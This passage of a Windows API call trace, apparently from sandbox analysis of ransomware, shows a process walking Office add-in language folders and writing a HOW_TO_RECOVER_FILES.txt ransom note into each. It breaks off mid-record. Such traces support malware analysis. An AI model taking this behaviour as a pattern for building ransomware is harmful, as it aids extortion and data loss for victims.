1 [0226.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru", lpFilePart=0x0) returned 0x51 [0226.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0226.794] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.794] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.794] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.794] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.794] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe00baf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.794] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ru.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.795] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.795] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0226.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru", lpFilePart=0x0) returned 0x51 [0226.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0226.796] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.797] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.797] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.797] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.797] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe00baf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.797] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ru.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.797] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ru.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.798] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0226.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.798] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0226.800] GetFileType (hFile=0x860) returned 0x1 [0226.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.800] GetFileType (hFile=0x860) returned 0x1 [0226.801] WriteFile (in: hFile=0x860, lpBuffer=0x3695d60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3695d60*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.802] CloseHandle (hObject=0x860) returned 1 [0226.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk", lpFilePart=0x0) returned 0x51 [0226.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0226.803] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.803] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.803] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb86af90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb86af90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb86af90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.803] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.804] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.804] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15eb84b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50264, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.804] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.804] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0226.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk", lpFilePart=0x0) returned 0x51 [0226.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0226.806] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.806] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.806] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb86af90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb86af90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb86af90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.806] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.806] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.806] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15eb84b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50264, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.807] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15eb84b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50264, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sk.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.807] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0226.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0226.810] GetFileType (hFile=0x860) returned 0x1 [0226.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.811] GetFileType (hFile=0x860) returned 0x1 [0226.811] WriteFile (in: hFile=0x860, lpBuffer=0x36a9530*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x36a9530*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.812] CloseHandle (hObject=0x860) returned 1 [0226.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl", lpFilePart=0x0) returned 0x51 [0226.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0226.814] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.814] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b359a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, 